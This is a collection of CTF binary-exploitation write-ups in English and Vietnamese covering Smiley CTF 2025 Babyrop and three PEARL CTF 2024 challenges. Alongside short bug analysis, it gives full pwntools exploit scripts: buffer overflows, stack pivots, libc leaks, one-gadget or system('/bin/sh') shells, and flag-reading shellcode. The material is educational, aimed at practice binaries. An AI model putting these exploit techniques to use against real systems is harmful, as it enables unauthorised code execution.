# Smiley CTF
## 2025
### Babyrop
#### Overview
First, we need to patch libc file by pwninit and then check the source code:
```c=C
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
setbuf(_bss_start, 0LL);
memset(s, 0, sizeof(s));
gets(s);
print(s);
return 0;
}
```
But this challenge refines the gets function:
```c=C
__int64 __fastcall gets(void *a1)
{
int v2; // [rsp+1Ch] [rbp-4h]
v2 = read(0, a1, 700uLL);
if ( v2 > 0 )
*((_BYTE *)a1 + v2 - 1) = 0;
return (unsigned int)v2;
}
```
The gets function allow user to input maximum 700 bytes and then set NULL bytes at the end of the user input. Then we check the gadgets this file gives us:
```c=bash
0x0000000000401055 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x0000000000401217 : add byte ptr [rax - 0x73], cl ; loopne 0x401265 ; mov edi, eax ; call rdx
0x00000000004010bc : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401035 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401222 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401056 : add byte ptr [rax], al ; add cl, ch ; ret 0xffff
0x0000000000401223 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010be : add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401037 : add byte ptr [rax], al ; jmp 0x401020
0x0000000000401216 : add byte ptr [rax], al ; lea rax, [rbp - 0x20] ; mov rdi, rax ; call rdx
0x0000000000401224 : add byte ptr [rax], al ; leave ; ret
0x00000000004011c8 : add byte ptr [rax], al ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401159 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401058 : add cl, ch ; ret 0xffff
0x0000000000401225 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401045 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2ec3 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004011c5 : add eax, edx ; mov byte ptr [rax], 0 ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401014 : call rax
0x000000000040121f : call rdx
0x00000000004011cc : cld ; leave ; ret
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401033 : cli ; push 0 ; jmp 0x401020
0x0000000000401043 : cli ; push 1 ; jmp 0x401020
0x0000000000401053 : cli ; push 2 ; jmp 0x401020
0x0000000000401179 : cli ; push rbp ; mov rbp, rsp ; pop rcx ; ret
0x00000000004010c3 : cli ; ret
0x000000000040122b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401170 : endbr64 ; jmp 0x401100
0x0000000000401030 : endbr64 ; push 0 ; jmp 0x401020
0x0000000000401040 : endbr64 ; push 1 ; jmp 0x401020
0x0000000000401050 : endbr64 ; push 2 ; jmp 0x401020
0x0000000000401176 : endbr64 ; push rbp ; mov rbp, rsp ; pop rcx ; ret
0x00000000004010c0 : endbr64 ; ret
0x000000000040117d : in eax, 0x59 ; ret
0x00000000004010ab : iretd
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404018 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404018 ; jmp rax
0x0000000000401039 : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x000000000040100b : jmp 0x4840103f
0x000000000040103d : jmp qword ptr [rsi - 0x70]
0x00000000004010ec : jmp rax
0x0000000000401219 : lea eax, [rbp - 0x20] ; mov rdi, rax ; call rdx
0x0000000000401218 : lea rax, [rbp - 0x20] ; mov rdi, rax ; call rdx
0x00000000004011cd : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x000000000040121b : loopne 0x401265 ; mov edi, eax ; call rdx
0x00000000004011c7 : mov byte ptr [rax], 0 ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2ec3], 1 ; pop rbp ; ret
0x0000000000401221 : mov eax, 0 ; leave ; ret
0x00000000004011ca : mov eax, dword ptr [rbp - 4] ; leave ; ret
0x000000000040117c : mov ebp, esp ; pop rcx ; ret
0x00000000004010e7 : mov edi, 0x404018 ; jmp rax
0x000000000040121d : mov edi, eax ; call rdx
0x000000000040117b : mov rbp, rsp ; pop rcx ; ret
0x000000000040121c : mov rdi, rax ; call rdx
0x0000000000401180 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010e6 : or dword ptr [rdi + 0x404018], edi ; jmp rax
0x000000000040115d : pop rbp ; ret
0x000000000040117e : pop rcx ; ret
0x0000000000401034 : push 0 ; jmp 0x401020
0x0000000000401044 : push 1 ; jmp 0x401020
0x0000000000401054 : push 2 ; jmp 0x401020
0x000000000040117a : push rbp ; mov rbp, rsp ; pop rcx ; ret
0x000000000040101a : ret
0x000000000040105a : ret 0xffff
0x00000000004011c6 : rol dh, 1 ; add byte ptr [rax], al ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401220 : sar byte ptr [rax], cl ; leave ; ret
0x00000000004010e8 : sbb byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401155 ; nop ; ret
0x000000000040122d : sub esp, 8 ; add rsp, 8 ; ret
0x000000000040122c : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404018 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404018 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
```
There is no syscall gadget or pop rdi,... that we can utilize to call system("/bin/sh")
Lastly, we check the protection:
```c=bash
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Full
```
#### Exploit
For this challenge, we can try to leak a libc address so we can calculate a few useful function, I choose to return to one gadget. Disassemble the main function:
```c=assembly
0x00000000004011cf <+0>: endbr64
0x00000000004011d3 <+4>: push rbp
0x00000000004011d4 <+5>: mov rbp,rsp
0x00000000004011d7 <+8>: sub rsp,0x20
0x00000000004011db <+12>: mov rax,QWORD PTR [rip+0x2e36] # 0x404018 <stdout@GLIBC_2.2.5>
0x00000000004011e2 <+19>: mov esi,0x0
0x00000000004011e7 <+24>: mov rdi,rax
0x00000000004011ea <+27>: call 0x401060 <setbuf@plt>
0x00000000004011ef <+32>: lea rax,[rbp-0x20]
0x00000000004011f3 <+36>: mov edx,0x20
0x00000000004011f8 <+41>: mov esi,0x0
0x00000000004011fd <+46>: mov rdi,rax
0x0000000000401200 <+49>: call 0x401070 <memset@plt>
0x0000000000401205 <+54>: lea rax,[rbp-0x20]
0x0000000000401209 <+58>: mov rdi,rax
0x000000000040120c <+61>: call 0x401183 <gets>
0x0000000000401211 <+66>: mov rdx,QWORD PTR [rip+0x2df8] # 0x404010 <print>
0x0000000000401218 <+73>: lea rax,[rbp-0x20]
0x000000000040121c <+77>: mov rdi,rax
0x000000000040121f <+80>: call rdx
0x0000000000401221 <+82>: mov eax,0x0
0x0000000000401226 <+87>: leave
0x0000000000401227 <+88>: ret
```
This gadget:
```c=asssembly
lea rax,[rbp-0x20]
```
They are quite dangerous with buffer overflow, since buffer overflow allow us to control rbp, what is we overflow rbp with an address and then return back to print(), it will be: lea rax, [{address} - 0x20], then it will print our address, here we can see this comment by disassemble main(): # 0x404018 <stdout@GLIBC_2.2.5>, lets check 0x404000:
```c=assembly
gef➤ x/20gx 0x404000
0x404000: 0x0000000000000000 0x0000000000000000
0x404010 <print>: 0x00007ffff7c87be0 0x00007ffff7e045c0
0x404020 <completed.0>: 0x0000000000000000 0x0000000000000000
0x404030: 0x0000000000000000 0x0000000000000000
0x404040: 0x0000000000000000 0x0000000000000000
0x404050: 0x0000000000000000 0x0000000000000000
0x404060: 0x0000000000000000 0x0000000000000000
0x404070: 0x0000000000000000 0x0000000000000000
0x404080: 0x0000000000000000 0x0000000000000000
0x404090: 0x0000000000000000 0x0000000000000000
```
They store 2 libc address in 0x404010 and 0x404018, lets try to leak it by control rbp:
```c=python
#!/usr/bin/env python3.11
from pwn import *
exe = ELF("./vuln_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.39.so", checksec=False)
context.binary = exe
if args.LOCAL:
r = process([exe.path])
else:
r = remote("smiley.cat", 44385)
gdb.attach(r, gdbscript='''
b*main+88
c
''')
puts_addr = 0x0000000000401211
payload = flat(
b'a'*32,
0x404010 + 0x20, #saved rbp
puts_addr #saved rip
)
r.sendline(payload)
r.interactive()
```

I input 0x404030 to rbp, then when it call lea rax, [rbp-0x20], rax will be 0x404030-0x20=0x404010, this address store a libc address, when it implement call rdx, a libc address will be leaked:

That is how dangerous lea rax, [rbp-offset] with buffer overfllow, but thats not the solution because we cannot control the program anymore
If you check the address 0x404000 by vmmap:
```c=bash
0x0000000000404000 0x0000000000405000 0x0000000000005000 rw- /mnt/c/ctf/ctf/babyrop/vuln_patched
```
Its a read write section so I tried to write the address to leak in that section:
```c=python
#!/usr/bin/env python3.11
from pwn import *
exe = ELF("./vuln_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.39.so", checksec=False)
context.binary = exe
if args.LOCAL:
r = process([exe.path])
else:
r = remote("smiley.cat", 44385)
#gdb.attach(r, gdbscript='''
# b*main+88
# c
# ''')
gets_addr = 0x0000000000401205
puts_addr = 0x0000000000401211
leaveret = 0x00000000004011cd
rw_section = 0x40426c
payload = flat(
b'a'*32,
#saved rbp 1
0x404010 + 0x20 + 0x20,
#save rip 1
gets_addr
)
r.sendline(payload)
print("Payload 1 len: ", len(payload))
r.recvline()
payload = flat(
#saved rbp 4
rw_section+0x10,
#saved rip 4
leaveret,
b'a'*16,
#saved rbp 2
rw_section,
#saved rip 2
leaveret,
b'a'*524,
#saved rbp 3
0x404010+0x20,
#saved rip 3
puts_addr,
#saved rbp 5
0,
#saved rip 5
exe.sym.main
)
r.sendline(payload)
print("Payload 2 length: ", len(payload))
r.interactive()
```
After we have libc address, we return back to main() and overflow rip with one gadget:
```c=python
#!/usr/bin/env python3.11
from pwn import *
exe = ELF("./vuln_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.39.so", checksec=False)
context.binary = exe
if args.LOCAL:
r = process([exe.path])
else:
r = remote("smiley.cat", 44385)
#gdb.attach(r, gdbscript='''
# b*main+88
# c
# ''')
gets_addr = 0x0000000000401205
puts_addr = 0x0000000000401211
leaveret = 0x00000000004011cd
rw_section = 0x40426c
payload = flat(
b'a'*32,
#saved rbp 1
0x404010 + 0x20 + 0x20, #write at 0x404030
#save rip 1
gets_addr
)
r.sendline(payload)
print("Payload 1 len: ", len(payload))
r.recvline()
payload = flat(
#saved rbp 4
rw_section+0x10,
#saved rip 4
leaveret,
b'a'*16,
#saved rbp 2
rw_section,
#saved rip 2
leaveret,
b'a'*524,
#saved rbp 3
0x404010+0x20,
#saved rip 3
puts_addr,
#saved rbp 5
0,
#saved rip 5
exe.sym.main
)
r.sendline(payload)
print("Payload 2 length: ", len(payload))
r.recvline()
leak = u64(r.recvn(6)+b'\x00'*2)
print("Leaking libc: ", hex(leak))
lb = leak - 0x87be0
print("Lib base: ", hex(lb))
onegg = lb + 0xef52b
rbp = lb + 0x205710
payload = cyclic(32)+p64(rbp)+p64(onegg)
print("One gadget: ", hex(onegg))
r.sendline(payload)
r.sendline(b'cat flag.txt')
r.interactive()
```

# PEARL CTF
## 2024
### Adventure
Nếu xem source code thì bug ở ngay hàm hatchEgg() vì có gets():
```c=python
void __fastcall hatchEgg()
{
char name[20]; // [rsp+0h] [rbp-20h] BYREF
puts("You wish to hatch the egg!");
puts("Give the baby dragon a name");
getchar();
fflush(stdin);
gets(name);
printf("Your dragon is now called %s\n", name);
printf("You leave the area with %s\n", name);
}
```
Đề bài có cho file ld với libc nên ta sẽ hướng theo ret2libc trước xem có được không
Ở đây do hàm gets có thêm NULL byte vào cuối input nên ta không thể leak libc theo cách nối byte được, trong code có cho ta hàm puts nên ta sẽ sử dụng nó để leak (vì bài cũng có cho gadget pop rdi)
```c=bash
0x000000000040121e : pop rdi ; ret
```
```c=python
pop_rdi = 0x000000000040121e
r.sendlineafter(b': ', b'2')
r.sendlineafter(b'No\n', b'1')
r.recvline()
r.recvline()
payload = b'a'*40 + p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
```
Nhưng do sau khi leak xong không thể input tiếp được nữa nên ta phải tận dụng gets thêm lần nữa bằng cách overflow luôn saved rip để khi exploreRight() return sẽ nhảy lại vào hatchEgg()
Sau đó thì tính địa chỉ /bin/sh, system; tìm offset của hatchEgg() lần 2 nữa là xong
```c=python
#!/usr/bin/env python3.11
from pwn import *
exe = ELF("./adventure_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.binary = exe
if args.LOCAL:
r = process([exe.path])
else:
r = remote("addr", 1337)
pop_rdi = 0x000000000040121e
r.sendlineafter(b': ', b'2')
r.sendlineafter(b'No\n', b'1')
r.recvline()
r.recvline()
payload = b'a'*40 + p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['hatchEgg']) #nhảy lại vào hatchEgg()
# input()
r.sendline(payload)
r.recvline()
r.recvuntil(b'\n')
leak = u64(r.recvn(6)+b'\0\0')
lb = leak - 0x80ed0
print("Leak libc: ", hex(leak))
print("Libc base: ", hex(lb))
r.recvline()
r.recvline()
binsh = lb + 0x1d8698
system = lb + 0x50d60
payload = b'a'*41 + p64(pop_rdi) + p64(binsh) + p64(0x000000000040101a)
payload += p64(system)
r.sendline(payload)
r.interactive()
```
Ps: do khi return vào system thì có vấn đề về stack alignment nên phải điều chỉ rsp, ở đây mình thêm ret.
### flag-finder
Bài này chỉ cho xài syscall write để đọc flag, ta có flag được lưu trên stack mà rsp cũng lưu địa chỉ stack nên ta có thể dựa vào đó tính địa chỉ của flag

```c=python
#!/usr/bin/env python3.11
from pwn import *
r=process("./flag-finder")
shellcode = asm(
'''
mov rax, 1
mov rdi, 1
add rsp, 0x18
mov rsi, rsp
mov rdx, 0x50
syscall
''', arch='amd64'
)
r.sendlineafter(b'> ', shellcode)
r.interactive()
```
### Going back
Bài này ý tưởng y chang như bài Adventure:
```c=python
#!/usr/bin/env python3.11
from pwn import *
exe = ELF("./goingback_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.binary = exe
if args.LOCAL:
r = process([exe.path])
else:
r = remote("addr", 1337)
pop_rdi = 0x0000000000401265
ret = 0x000000000040101a
r.sendlineafter(b': ', b'abc')
r.sendlineafter(b': ', b'abc')
r.sendlineafter(b': ', b'1')
r.sendlineafter(b'Bangalore\n', b'1')
r.sendlineafter(b': ', b'1')
r.sendlineafter(b': ', b'1')
payload = b'a'*40 + p64(pop_rdi) + p64(exe.got['puts']) + p64(exe.plt['puts'])
payload += p64(ret)
payload += p64(0x4015bb)
r.sendlineafter(b': ', payload)
r.recvuntil(b'future experience\n')
leak = u64(r.recvn(6)+b'\0\0')
lb = leak -0x80ed0
print("Libc base: ", hex(lb))
print("Leak libc: ", hex(leak))
binsh = lb + 0x1d8698
system = lb + 0x50d60
payload = b'a'*40 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
r.sendlineafter(b': ', b'1')
#input()
r.sendlineafter(b'future experience\n', payload)
r.interactive()
```